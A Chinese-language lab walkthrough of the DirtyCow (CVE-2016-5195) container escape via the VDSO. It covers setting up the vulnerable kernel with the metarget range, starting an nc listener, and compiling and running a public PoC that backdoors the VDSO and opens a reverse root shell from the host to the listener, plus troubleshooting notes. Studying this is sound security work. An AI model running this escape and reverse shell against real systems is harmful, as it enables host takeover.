【漏洞描述】 DirtyCow(CVE-2016-5195)是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝(copy-on-write, Cow)存在竞争条件(race condition),允许恶意用户提权获取其他只读内存映射的写访问权限。
    竞争条件意为任务执行顺序异常,可能导致应用崩溃或面临攻击者的代码执行威胁。利用该漏洞,攻击者可在其目标系统内提升权限,甚至获得root权限。VDSO就是Virtual Dynamic Shared Object(虚拟动态共享对象),即内核提供的虚拟.so。该.so文件位于内核而非磁盘,程序启动时,内核把包含某.so的内存页映射入其内存空间,对应程序就可作为普通.so使用其中的函数。
    在容器中利用VDSO内存空间中的“clock_gettime() ”函数可对脏牛漏洞发起攻击,令系统崩溃并获得root权限的shell
    【漏洞环境】 linux内核版本: kernel2.x ~ kernel4.8.3linux内核版本: kernel2.x ~ kernel4.8.3 【环境搭建】
    • 利用metarget靶场搭建漏洞环境
    1. root@zyliang:~/metarget# ./metarget cnv list | grep 2016-5195
    2. | cve-2016-5195 | kernel | container_escape |
    3. root@zyliang:~/metarget# ./metarget cnv install cve-2016-5195
    4. cve-2016-5195 is going to be installed
    5. switching kernel by version
    6. adding apt repository deb http://security.ubuntu.com/ubuntu trusty-security main
    7. adding apt repository deb http://security.ubuntu.com/ubuntu xenial-security main
    8. adding apt repository deb http://security.ubuntu.com/ubuntu bionic-security main
    9. switching kernel version with apt
    10. installing kernel package linux-image-4.2.0-42-generic
    11. modifying grub config file
    12. updating grub
    13. cve-2016-5195 successfully installed
    14. reboot system now? (y/n) y
    15. #重启
    16. root@zyliang:~# uname -a
    17. Linux zyliang 4.2.0-42-generic #49~14.04.1-Ubuntu SMP Wed Jun 29 20:22:11 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
    【漏洞利用】
    • 测试环境下载
    1. root@zyliang:~# git clone https://github.com/gebl/dirtycow-docker-vdso.git
    2. Cloning into 'dirtycow-docker-vdso'...
    3. remote: Enumerating objects: 11, done.
    4. remote: Total 11 (delta 0), reused 0 (delta 0), pack-reused 11
    5. Unpacking objects: 100% (11/11), done.
    • 远程机器监听本地端口
    1. root@master:~# ifconfig ens160
    2. ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    3. inet 10.160.35.200 netmask 255.255.255.0 broadcast 10.160.35.255
    4. inet6 fe80::250:56ff:fead:4476 prefixlen 64 scopeid 0x20<link>
    5. ether 00:50:56:ad:44:76 txqueuelen 1000 (Ethernet)
    6. RX packets 26461525 bytes 2973982791 (2.9 GB)
    7. RX errors 0 dropped 71 overruns 0 frame 0
    8. TX packets 26412095 bytes 16041084586 (16.0 GB)
    9. TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
    10. root@master:~# nc -lvvp 1234
    11. Listening on [0.0.0.0] (family 0, port 1234)
    • 运行测试容器
    1. root@zyliang:~/dirtycow-docker-vdso# sudo docker-compose run dirtycow /bin/bash
    2. root@3a91b45e2ca5:/# ls
    3. bin boot dev dirtycow-vdso etc home lib lib64 media mnt opt proc root run runnit.sh sbin srv sys tmp usr var
    • 进入容器,编译Poc程序并执行
    1. root@3a91b45e2ca5:/# cd dirtycow-vdso/
    2. root@3a91b45e2ca5:/dirtycow-vdso# ls
    3. 0xdeadbeef.c LICENSE Makefile README.md payload.s tools
    4. root@3a91b45e2ca5:/dirtycow-vdso# make
    5. nasm -f bin -o payload payload.s
    6. xxd -i payload payload.h
    7. cc -o 0xdeadbeef.o -c 0xdeadbeef.c -Wall
    8. cc -o 0xdeadbeef 0xdeadbeef.o -lpthread
    9. root@3a91b45e2ca5:/dirtycow-vdso# ./
    10. .git/ 0xdeadbeef tools/
    11. root@3a91b45e2ca5:/dirtycow-vdso# ./0xdeadbeef 10.160.35.200:1234
    12. [*] payload target: 10.160.35.200:1234
    13. [*] exploit: patch 1/2
    14. [*] vdso successfully backdoored
    15. [*] exploit: patch 2/2
    16. [*] vdso successfully backdoored
    17. [*] waiting for reverse connect shell...
    18. ^C
    • 远端机器10.160.35.200拿到宿主机shell
    1. root@master:~# nc -lvvp 1234
    2. Listening on [0.0.0.0] (family 0, port 1234)
    3. Connection from 10.160.36.203 60936 received!
    4. ifconfig
    5. br-39727c7d519e: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    6. inet 172.18.0.1 netmask 255.255.0.0 broadcast 172.18.255.255
    7. inet6 fe80::42:e6ff:fe3c:bab4 prefixlen 64 scopeid 0x20<link>
    8. ether 02:42:e6:3c:ba:b4 txqueuelen 0 (Ethernet)
    9. RX packets 0 bytes 0 (0.0 B)
    10. RX errors 0 dropped 0 overruns 0 frame 0
    11. TX packets 5 bytes 438 (438.0 B)
    12. TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
    13. cni0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1450
    14. inet 10.244.0.1 netmask 255.255.255.0 broadcast 0.0.0.0
    15. inet6 fe80::70ed:64ff:fe65:fcda prefixlen 64 scopeid 0x20<link>
    16. ether 72:ed:64:65:fc:da txqueuelen 1000 (Ethernet)
    17. RX packets 568 bytes 41403 (41.4 KB)
    18. RX errors 0 dropped 0 overruns 0 frame 0
    19. TX packets 564 bytes 187916 (187.9 KB)
    20. TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
    21. docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
    22. inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
    23. ether 02:42:f7:00:90:09 txqueuelen 0 (Ethernet)
    24. RX packets 0 bytes 0 (0.0 B)
    25. RX errors 0 dropped 0 overruns 0 frame 0
    26. TX packets 0 bytes 0 (0.0 B)
    27. TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
    28. ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    29. inet 10.160.36.203 netmask 255.255.255.0 broadcast 10.160.36.255
    30. inet6 fe80::250:56ff:fead:54b prefixlen 64 scopeid 0x20<link>
    31. ether 00:50:56:ad:05:4b txqueuelen 1000 (Ethernet)
    32. RX packets 703 bytes 89044 (89.0 KB)
    33. RX errors 0 dropped 12 overruns 0 frame 0
    34. TX packets 441 bytes 97055 (97.0 KB)
    35. TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
    【遇到的问题】
    • 容器编译后运行Poc程序,出现segmentation fault - 问题现象
    1. root@fddcd5e6574d:/dirtycow-vdso# ./0xdeadbeef
    2. [*] payload target: 127.0.0.1:1234
    3. [*] exploit: patch 1/2
    4. Segmentation fault
    1. - <font style="color:rgba(0, 0, 0, 0.9);">问题原因: poc环境docker版本过高,默认禁止所有cap</font>
    2. - <font style="color:rgba(0, 0, 0, 0.9);">解决方法:容器的cap添加SYS_PTRACE</font>
    1. root@zyliang:~/dirtycow-docker-vdso# pwd
    2. /root/dirtycow-docker-vdso
    3. root@zyliang:~/dirtycow-docker-vdso# cat docker-compose.yml
    4. version: '2'
    5. services:
    6. dirtycow:
    7. build: .
    8. restart: unless-stopped
    9. cap_add:
    10. - SYS_PTRACE
    1. root@zyliang:~/dirtycow-docker-vdso# cat Dockerfile
    2. FROM ubuntu:14.04
    3. RUN apt-get update
    4. RUN apt-get install -y build-essential
    5. RUN apt-get install -y nasm
    6. RUN apt-get install -y git
    7. RUN mkdir /dirtycow-vdso
    8. RUN git clone https://github.com/scumjr/dirtycow-vdso.git /dirtycow-vdso
    9. ADD runnit.sh /
    10. RUN chmod 755 /runnit.sh
    11. EXPOSE 1234
    12. CMD ["/runnit.sh"]
    13. root@zyliang:~/dirtycow-docker-vdso#
    1. - <font style="color:rgba(0, 0, 0, 0.9);">解决方法</font>
    1、多次编译下载
    2、注释掉git及后续部分,通过其它方式下载项目后,tar打包copy到容器中使用 【其它Poc】
    1. https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs